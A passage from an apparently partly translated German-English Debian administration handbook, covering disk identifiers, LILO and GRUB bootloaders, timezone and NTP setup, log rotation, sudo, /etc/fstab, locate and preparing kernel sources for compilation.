mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file. While the links in /dev/disk/by-id/ are created using the device' serial number and physical path, there are more convenience links in e.g. /dev/disk/by-label/ (based on given labels), /dev/disk/by-uuid/ (based on unique identifiers, which can change when reformatting a device using mkfs.* or mkswap), /dev/disk/by-path/ (based on shortest physical path), and /dev/disk/by-partlabel/ and /dev/disk/by-partuuid/ (only partitions with GPT labels and their unique identifiers). If you use these links, e.g. in /etc/fstab, always prefer unique identifiers over labels. You can also obtain and change this information for each partition or device using the lsblk and blkid commands.

Die in den folgenden Abschnitten als Beispiele benutzten Konfigurationsdateien basieren auf der gleichen Umgebung: eine einzelne SATA-Platte, auf der die erste Partition eine alte Windows-Installation, die zweite ein Debian GNU/Linux enthält.

ALTERNATIVE The LILO bootloader

LILO (LInux LOader) ist der älteste Boot-Loader - solide aber derb. Er schreibt die physische Adresse des zu ladenden Kernels in den MBR, weshalb im Anschluss an jede Aktualisierung von LILO (oder seiner Konfigurationsdatei) der Befehl lilo ausgeführt werden muss. Wenn man dies vergisst, ist das System nicht mehr in der Lage hochzufahren, falls der alte Kernel entfernt oder ersetzt worden ist, da sich der neue auf der Platte nicht an derselben Stelle befindet.

LILOs Konfigurationsdatei ist /etc/lilo.conf; eine einfache Datei für eine Standardkonfiguration ist in unten stehendem Beispiel wiedergegeben.

Beispiel 8.4. LILO-Konfigurationsdatei

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

As per request of the maintainer and upstream author of lilo, the bootloader has been removed from Debian 11 Bullseye and it is unlikely to make a comeback.

8.8.2. Konfigurierung von GRUB 2

GRUB (GRand Unified Bootloader) is more recent. It is not necessary to invoke it after each update of the kernel; GRUB knows how to read the filesystems and find the position of the kernel on the disk by itself. To install it on the MBR of the first disk, simply type grub-install /dev/sda. This will overwrite the MBR, so be careful not to overwrite the wrong location. While it is also possible to install GRUB into a partition boot record, beware that it is usually a mistake and doing grub-install /dev/sda1 has not the same meaning as grub-install /dev/sda.

HINWEIS Plattennamen für GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

Partitionen haben in GRUB ebenfalls besondere Namen. Wenn Sie „klassische“ Partitionen im MS-DOS-Format verwenden, wird die erste Partition auf der ersten Platte als (hd0,msdos1) gekennzeichnet, die zweite als (hd0,msdos2) usw.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

One of the most often reported issues when using GRUB is that users get an error like error symbol `grub_calloc' not found and they are unable to boot the system anymore. Most of the time this error is caused by installing an updated version of GRUB that causes new modules in /boot/grub to be incompatible with old core images in the boot sector that your firmware jumps to when booting your machine. This happens on systems that are configured to run grub-install to a target device that is not actually the one that the firmware uses to boot your system (e.g. after replacing disks or moving them around - one can see the issue when running dpkg-reconfigure grub-pc showing the wrong target device). With the release of Debian 11 Bullseye (the change was also populated to Buster) the update process now checks for this issue and exits with an error in case it finds such a constellation.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ... /dev/disk/by-id/[..] does not exist, so cannot grub-install to it! You must correct your GRUB install devices before proceeding: DEBIAN_FRONTEND=dialog dpkg --configure grub-pc dpkg --configure -a dpkg: error processing package grub-pc (--configure): installed grub-pc package post-installation script subprocess returned error exit status 1

To fix the issue and continue the upgrade procedure, just follow the advice and run the commands given by the error message as root.

8.8.3. Using GRUB with EFI and Secure Boot

Using GRUB to boot either a traditional BIOS system (legacy or UEFI-CSM) or a UEFI system is quite different. Fortunately the user doesn't need to know the differences because Debian provides different packages for each purpose and the installer automatically cares about which one(s) to choose. The grub-pc package is chosen for legacy systems, where GRUB is installed into the MBR, while UEFI systems require grub-efi-arch, where GRUB is installed into the EFI System Partition (ESP). The latter requires a GTP partition table as well as an EFI partition.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

To switch an existing system (supporting UEFI) from legacy to UEFI boot mode not only requires to switch the GRUB packages on the system, but also to adjust the partition table and the to create an EFI partition (probably including resizing existing partitions to create the necessary free space). It is therefore quite an elaborate process and we cannot cover it here. Fortunately, there are some manuals by bloggers describing the necessary procedures.

If you are using a system with “Secure Boot“ enabled and have installed shim-signed (see sidebar KULTUR Secure Boot und der Shim-Bootloader), you must also install grub-efi-arch-signed. This package is not pulled in automatically, only if the installation of recommended package has been enabled.

8.9. Weitere Konfigurationen: Zeitsynchronisation, Protokolle, Gemeinsamer Zugang…

Die zahlreichen in diesem Abschnitt aufgeführten Elemente sind für jeden wissenswert, der alle Aspekte der Konfigurierung eines GNU/Linux-Systems beherrschen möchte. Sie werden jedoch nur kurz behandelt, und häufig wird auf die Dokumentation verwiesen.

8.9.1. Zeitzone

ZURÜCK ZU DEN GRUNDLAGEN Symbolische Verknüpfungen

Eine symbolische Verknüpfung ist ein Verweis auf eine andere Datei. Wenn man auf sie zugreift, wird die Datei, auf die sie verweist, geöffnet. Die Entfernung der Verknüpfung führt nicht dazu, dass die Datei, auf die sie verweist, gelöscht wird. Ebenso hat sie nicht ihren eigenen Satz von Berechtigungen, sondern behält die Berechtigungen ihres Ziels bei. Und schließlich kann sie auf jede Art von Datei verweisen: Verzeichnisse, spezielle Dateien (Sockets, benannte Pipes, Gerätedateien usw.) und selbst auf andere symbolische Verknüpfungen.

Der Befehl ln -s Ziel verknüpfungsname erstellt eine symbolische Verknüpfung namens Verknüpfungsname, die auf Ziel verweist.

Falls das Ziel nicht existiert, ist die Verknüpfung „gebrochen“, und der Zugriff darauf ergibt eine Fehlermeldung, die besagt, dass die Zieldatei nicht existiert. Falls die Verknüpfung auf eine andere Verknüpfung verweist, hat man eine „Kette“ von Verknüpfungen, die zu einem „Kreis“ wird, falls eines der Ziele auf einen seiner Vorgänger verweist. In diesem Fall führt der Zugriff auf eine der Verknüpfungen in diesem Kreis zu einer besonderen Fehlermeldung („too many levels of symbolic links“); das heißt, dass der Kernel nach einigen Runden des Kreises aufgegeben hat.

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

Wenn man die Zeitzone vorübergehend ändern muss, verwendet man die Umgebungsvariable TZ, die Vorrang vor der konfigurierten Voreinstellung des Systems hat:

$ date Thu Sep 2 22:29:48 CEST 2021 $ TZ="Pacific/Honolulu" date Thu 02 Sep 2021 10:31:01 AM HST

HINWEIS System-Uhr, Hardware-Uhr

Es gibt in einem Rechner zwei Zeitquellen. Die Hauptplatine eines Rechners verfügt über eine Hardware-Uhr, die sogenannte „CMOS-Uhr“. Diese Uhr ist nicht sehr genau und bietet nur recht langsame Zugriffszeiten. Der Kernel des Betriebssystems hat seine eigene Uhr, die sogenannte Software-Uhr, die mit ihren eigenen Mitteln richtig eingestellt bleibt (möglicherweise mithilfe von Zeitservern, siehe Abschnitt 8.9.2, „Zeitsynchronisierung“). Diese System-Uhr ist normalerweise genauer, vor allem da sie keinen Zugang zu Hardware-Variablen benötigt. Da sie jedoch nur im Arbeitsspeicher existiert, wird sie bei jedem Hochfahren des Rechners auf Null zurückgesetzt im Gegensatz zur CMOS-Uhr, die über eine Batterie verfügt und daher den Neustart oder das Abschalten des Rechners „überlebt“. Die System-Uhr wird daher während des Hochfahrens von der CMOS-Uhr gestellt und die CMOS-Uhr während des Abschaltens aktualisiert (um mögliche Änderungen oder Korrekturen zu berücksichtigen, falls sie falsch eingestellt war).

In der Praxis entsteht ein Problem, da die CMOS-Uhr lediglich ein Zähler ist und keinerlei Informationen zur Zeitzone enthält. Bezüglich ihrer Interpretation ist daher eine Entscheidung zu treffen: entweder geht das System davon aus, dass sie in Weltzeit (UTC, früher GMT) läuft, oder in Ortszeit. Diese Entscheidung könnte zu einer einfachen Verschiebung führen, in Wirklichkeit sind die Dinge jedoch etwas komplizierter: aufgrund der Sommerzeit ist dieser Versatz nicht konstant. Daher hat das System keine Möglichkeit zu entscheiden, ob der Versatz korrekt ist, insbesondere nicht zu Zeiten der Zeitumstellung. Da es immer möglich ist, die Ortszeit aus der Weltzeit und der Information über die Zeitzone abzuleiten, empfehlen wir nachdrücklich, die CMOS-Uhr in Weltzeit zu verwenden.

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. Zeitsynchronisierung

Zeitsynchronisierung, die auf einem Rechner überflüssig erscheinen mag, ist in einem Netzwerk sehr wichtig. Da Benutzer keine Berechtigung zur Änderung des Datums und der Zeit haben, ist es wichtig, dass diese Information genau stimmt, um Verwirrung zu vermeiden. Außerdem können Informationen aus den Protokollen verschiedener Rechner besser aufeinander bezogen werden, wenn alle Rechner eines Netzwerks synchronisiert sind. Im Falle eines Angriffs ist es so einfacher, die zeitliche Abfolge der Ereignisse auf verschiedenen von der Störung betroffenen Rechnern zu rekonstruieren. Daten, die auf verschiedenen Rechnern zu statistischen Zwecken gesammelt werden, wären nicht sehr sinnvoll, wenn sie nicht synchronisiert wären.

ZURÜCK ZU DEN GRUNDLAGEN NTP

NTP (Network Time Protocol) ermöglicht es einem Rechner, sich mit anderen recht genau zu synchronisieren unter Berücksichtigung der Verzögerungen, die durch die Informationsübertragung über das Netzwerk und andere mögliche Verschiebungen entstehen.

Obwohl es im Internet zahlreiche NTP-Server gibt, können die bekannteren überlastet sein. Daher empfehlen wir, den NTP-Server pool.ntp.org zu benutzen, der in Wirklichkeit eine Gruppe von Rechnern ist, die laut Vereinbarung als öffentliche NTP-Server dienen. Sie können sogar die Benutzung auf eine für ein Land bestimmte Untergruppe beschränken, wie zum Beispiel de.pool.ntp.org für Deutschland oder at.pool.ntp.org für Österreich usw.

Wenn Sie jedoch ein großes Netzwerk verwalten, ist es empfehlenswert, Ihren eigenen NTP-Server zu installieren, der sich mit den öffentlichen Servern synchronisiert. Auf diese Weise können alle anderen Rechner in Ihrem Netzwerk Ihren internen NTP-Server benutzen, statt die Belastung der öffentlichen Server zu erhöhen. Sie steigern so auch die Homogenität Ihrer Uhren, da sich alle Rechner mit derselben Quelle synchronisieren und diese Quelle bezogen auf die Übertragungszeiten sehr nah ist.

8.9.2.1. Für Arbeitsplatzrechner

Da Arbeitsplatzrechner häufig neu gestartet werden (selbst wenn dies nur zur Energieersparnis dient), genügt es, sie beim Hochfahren über NTP zu synchronisieren. Hierzu installieren Sie einfach das Paket ntpdate. Bei Bedarf können Sie den verwendeten NTP-Server durch Änderung der Datei /etc/default/ntpdate wechseln.

8.9.2.2. Für Server

Server werden nur selten neu gestartet, und es ist sehr wichtig, dass ihre Systemzeit korrekt ist. Um dauerhaft die richtige Zeit beizubehalten, sollten Sie einen lokalen NTP-Server installieren, einen Dienst, der vom Paket ntp angeboten wird. In seiner voreingestellten Konfiguration synchronisiert sich dieser Server mit pool.ntp.org und stellt die Zeit auf Anfragen aus dem lokalen Netzwerk hin bereit. Sie können ihn konfigurieren, indem Sie die Datei /etc/ntp.conf editieren, wobei die wichtigste Änderung in dem NTP-Server besteht, an den er sich wendet. Falls das Netzwerk viele Server hat, könnte es von Interesse sein, einen lokalen Server einzurichten, der sich mit den öffentlichen Servern synchronisiert und der dann von den anderen Servern des Netzwerks als Quelle benutzt wird.

WEITERE SCHRITTE GPS-Module und andere Zeitquellen

Falls die Zeitsynchronisierung für Ihr Netzwerk besonders kritisch ist, können Sie einen Server mit einem GPS-Modul ausstatten (das die Zeit eines GPS-Satelliten verwendet) oder mit einem DCF-77-Modul (das die Zeit mit der Atomuhr in der Nähe von Frankfurt/Main synchronisiert). In diesen Fällen ist die Konfigurierung des NTP-Servers ein bisschen komplizierter und die vorherige Lektüre der Dokumentation eine absolute Notwendigkeit.

8.9.3. Protokolldateien rotieren

Protokolldateien können größer werden, und zwar schnell, und es ist wichtig, sie zu archivieren. Das häufigste System besteht in einem rotierenden Archiv: die Protokolldatei wird regelmäßig archiviert, und nur die letzten X Archivdateien aufbewahrt. logrotate, das für diese Rotationen zuständige Programm folgt den Anweisungen, die ihm in der Datei /etc/logrotate.conf und in allen im Verzeichnis /etc/logrotate.d/ befindlichen Dateien gegeben werden. Der Administrator kann diese Dateien verändern, falls er die von Debian festgelegten Richtlinien zur Protokollrotation anpassen möchte. Die Handbuchseite logrotate(1) beschreibt alle in diesen Konfigurationsdateien verfügbaren Optionen. Sie möchten vielleicht die Anzahl der in der Protokollrotation zurückbehaltenen Dateien erhöhen oder Protokolldateien in ein besonderes Verzeichnis verschieben, um sie zu archivieren statt zu löschen. Sie könnten sie auch per E-Mail verschicken, um sie andernorts zu archivieren.

Das Programm logrotate wird täglich durch das Termimsteuerungssprogramm cron ausgeführt (beschrieben in Abschnitt 9.7, „Aufgaben mit cron und atd zeitlich festlegen“).

8.9.4. Administratorrechte gemeinsam nutzen

Häufig arbeiten mehrere Administratoren am selben Netzwerk. Die Root-Passwörter gemeinsam zu nutzen, ist nicht sehr elegant und öffnet die Tür zu Missbrauch wegen der Anonymität, die eine derartige gemeinsame Nutzung schafft. Die Lösung dieses Problems besteht in dem Programm sudo, das es bestimmten Benutzern ermöglicht, bestimmte Befehle mit besonderen Rechten auszuführen. Im gewöhnlichsten Fall erlaubt sudo einem vertrauenswürdigen Benutzer die Ausführung jeden Befehls als Root. Hierzu führt der Benutzer einfach sudo Befehl aus und authentifiziert sich dabei mit seinem persönlichen Passwort.

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. Liste der Einhängepunkte

ZURÜCK ZU DEN GRUNDLAGEN Ein- und Aushängen

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see Abschnitt 4.2.13.1, „Geführtes Partitionieren“) The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

Einige auswechselbare Geräte werden automatisch eingehängt, wenn sie angeschlossen werden, insbesondere wenn die grafischen Arbeitsumgebungen GNOME, KDE Plasma oder andere verwendet werden. Andere Geräte müssen durch den Benutzer von Hand eingehängt werden. Sie müssen auch wieder ausgehängt (aus dem Dateibaum entfernt) werden. Normale Benutzer haben im Allgemeinen nicht die Berechtigung, die Befehle mount und umount auszuführen. Der Administrator kann jedoch diese Vorgänge erlauben (unabhängig für jeden einzelnen Einhängepunkt), indem er die Option user zur Datei /etc/fstab hinzufügt.

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

The /etc/fstab file gives a list of all possible mounts that happen either automatically on boot or manually for removable storage devices. Each mount point is described by a line with several space-separated fields:

file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).

This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. Abschnitt 8.8.1, „Die Festplatten kennzeichnen“ covers this topic in more detail.

mount point: dies ist der Ort innerhalb des lokalen Dateisystems, an dem das Gerät, das entfernte System oder die Partition eingehängt werden.

type: dieses Feld legt das auf dem eingehängten Gerät verwendete Dateisystem fest. ext4, ext3, vfat, ntfs, btrfs, xfs sind einige Beispiele.

ZURÜCK ZU DEN GRUNDLAGEN NFS, ein Netzwerk-Dateisystem

NFS ist ein Netzwerk-Dateisystem; unter Linux ermöglicht es einen transparenten Zugriff auf entfernte Dateien, indem sie in das lokale Dateisystem einbezogen werden.

A complete list of known filesystems is available in the mount(8) manual page. The swap special value is for swap partitions; the auto special value tells the mount program to automatically detect the filesystem (which is especially useful for disk readers and USB keys, since each one might have a different filesystem);

options: es gibt viele in Abhängigkeit vom Dateisystem, und sie sind auf der Handbuchseite von mount dokumentiert. Die häufigsten sind

rw und ro bedeuten, dass das Gerät mit den Berechtigungen zum Lesen und Schreiben beziehungsweise nur zum Lesen eingehängt wird.

noauto deaktiviert das automatische Einhängen beim Hochfahren.

nofail lässt den Bootvorgang auch dann zu, wenn das Gerät nicht vorhanden ist. Stellen Sie sicher, dass Sie diese Option für externe Laufwerke verwenden, die beim Booten möglicherweise nicht angeschlossen sind, da systemd wirklich dafür sorgt, dass alle Mountpunkte, die automatisch gemountet werden müssen, tatsächlich gemountet sind, bevor der Bootvorgang fortgesetzt wird. Beachten Sie, dass Sie dies mit x-systemd.device-timeout=5s kombinieren können, um systemd nicht länger als 5 Sekunden zu warten, bis das Gerät erscheint (siehe systemd.mount(5)).

user erlaubt es allen Benutzern, dieses Dateisystem einzuhängen (ein Vorgang, der sonst nur auf den Root-Benutzer beschränkt wäre).

defaults bezeichnet die Gruppe der voreingestellten Optionen: rw, suid, dev, exec, auto, nouser und async, von denen jede einzeln nach defaults abgestellt werden kann, indem man nosuid, nodev und so weiter hinzufügt, um suid, dev und so weiter zu sperren. Das Hinzufügen der Option userreaktiviert diese wieder, da defaults die Option nouser enthält.

dump: this field is almost always set to 0 and kind of a relic. When it is greater then zero, it tells the dump tool that the partition contains data that is to be backed up frequently. The tool supports Ext2/3/4 filesystems only and will use the value here when run via dump -W or dump -w to determine which partitions need to be backed up. Consider the examples in /usr/share/doc/dump/examples/ if you want to use this feature. But there are better alternatives to backup a filesystem, like fsarchiver.

pass: Dieses letzte Feld zeigt an, ob die Integrität des Dateisystems beim Hochfahren überprüft werden soll und in welcher Reihenfolge diese Überprüfung durchgeführt werden soll. Falls es 0 ist, wird keine Überprüfung durchgeführt. Das Wurzelverzeichnis sollte den Wert 1 haben, während andere dauerhaft eingehängte Dateisysteme den Wert 2 erhalten.

Beispiel 8.5. Beispiel der Datei /etc/fstab

# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # systemd generates mount units based on this file, see systemd.mount(5). # Please run 'systemctl daemon-reload' after making changes here. # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda1 during installation UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

WEITERE SCHRITTE Selbstständiges Einhängen

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

Es gibt weitere Dienstprogramme zum selbstständigen Einhängen, wie zum Beispiel automount im Paket autofs oder amd im am-utils-Paket.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate und updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. Einen Kernel kompilieren

Die von Debian bereitgestellten Kernel umfassen die größtmögliche Anzahl an Leistungsmerkmalen wie auch ein Maximum an Treibern, um ein möglichst breites Spektrum der existierenden Hardware-Konfigurationen abzudecken. Daher ziehen es einige Anwender vor, den Kernel neu zu kompilieren, um so genau nur das einzuschließen, was sie wirklich brauchen. Es gibt zwei Gründe für diese Entscheidung. Zum einen kann es darum gehen, den Speicherverbrauch zu optimieren, da der Kernelcode, selbst wenn er niemals gebraucht wird, unnötig Speicher belegt (und niemals in den Swap „hinuntergeht“, da es wirkliches RAM ist, das er benutzt), wodurch sich die Gesamtleistung des Systems verringern kann. Ein lokal kompilierter Kernel kann außerdem das Risiko von Sicherheitsproblemen reduzieren, da nur ein Bruchteil des Kernelcodes kompiliert wird und läuft.

HINWEIS Sicherheitsaktualisierungen

Wenn Sie es vorziehen, Ihren eigenen Kernel zu kompilieren, müssen Sie auch die Konsequenzen in Kauf nehmen: Debian kann bei Ihrem maßgeschneiderten Kernel nicht für Sicherheitsaktualisierungen sorgen. Wenn Sie dagegen den von Debian bereitgestellten Kernel behalten, profitieren Sie von Aktualisierungen, die vom Sicherheitsteam des Debian-Projekts erstellt werden.

Eine Rekompilierung des Kernels ist auch erforderlich, wenn Sie bestimmte Leistungsmerkmale verwenden möchten, die nur als Patches zur Verfügung stehen (und nicht in der Standardversion des Kernels enthalten sind).

WEITERGEHENDE SCHRITTE Das Debian Kernel Handbuch

Das Debian Kernel Team verwaltet "Das Debian Kernel Handbuch" (auch im Paket debian-kernel-handbook enthalten) mit umfassender Dokumentation über die meisten Kernel-Aufgaben und darüber, wie offizielle Debian Kernel Pakete behandelt werden. Das ist die erste Adresse für weitergehende Informationen, die über das in diesem Abschnitt Gesagte hinausgehen.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Einführung und Voraussetzungen

Wenig überraschend verwaltet Debian den Kernel in Form eines Pakets, was nicht der üblichen Art und Weise entspricht, wie Kernel traditionell kompiliert und installiert wurden. Da der Kernel unter der Kontrolle des Paketierungssystems verbleibt, kann er dann sauber entfernt oder auf mehreren Rechnern eingesetzt werden. Darüber hinaus automatisieren die zu diesen Paketen gehörigen Skripten die Interaktion mit dem Boot-Loader und dem initrd-Generator.

The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

CULTURE Die guten alten Zeiten des kernel-package

Bevor die Umgebung zur Erstellung eines Linux-Systems die Fähigkeit erhielt, saubere Debian-Pakete zu bauen, war der empfohlene Weg, make-kpkg aus dem Paket kernel-package zur Erzeugung solcher Pakete zu verwenden.

8.10.2. Die Quellen besorgen

Wie alles, was auf einem Debian-System nützlich ist, stehen die Linux-Kernelquellen in einem Paket zu Verfügung. Um sie zu erhalten, installiert man einfach das Paket linux-source-Version. Der Befehl apt search ^linux-source führt die verschiedenen von Debian paketierten Kernelversionen auf. Die jüngste Version ist in der Distribution Unstable enthalten: Sie können sie ohne großes Risiko abrufen (insbesondere wenn Ihr APT in Übereinstimmung mit der Anleitung in Abschnitt 6.2.6, „Mit mehreren Distributionen arbeiten“ konfiguriert ist). Beachten Sie, dass der in diesen Paketen enthaltene Quellcode nicht genau dem von Linus Torvalds und den Kernel-Entwicklern veröffentlichten entspricht. Wie alle Distributionen, so wendet auch Debian eine Reihe von Patches an, die ihren Weg in die "Upstream"-Version von Linux finden (oder auch nicht). Diese Änderungen umfassen auch Rückportierungen von Korrekturen/Funktionalitäten/Treibern von neueren Kernel-Versionen, neuen Funktionalitäten, die noch nicht (vollständig) in den Ursprungszweig von Linux eingearbeitet sind und manchmal sogar Debian-spezifische Änderungen.

The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-5.10.tar.xz

KULTUR Ort der Kernelquellen

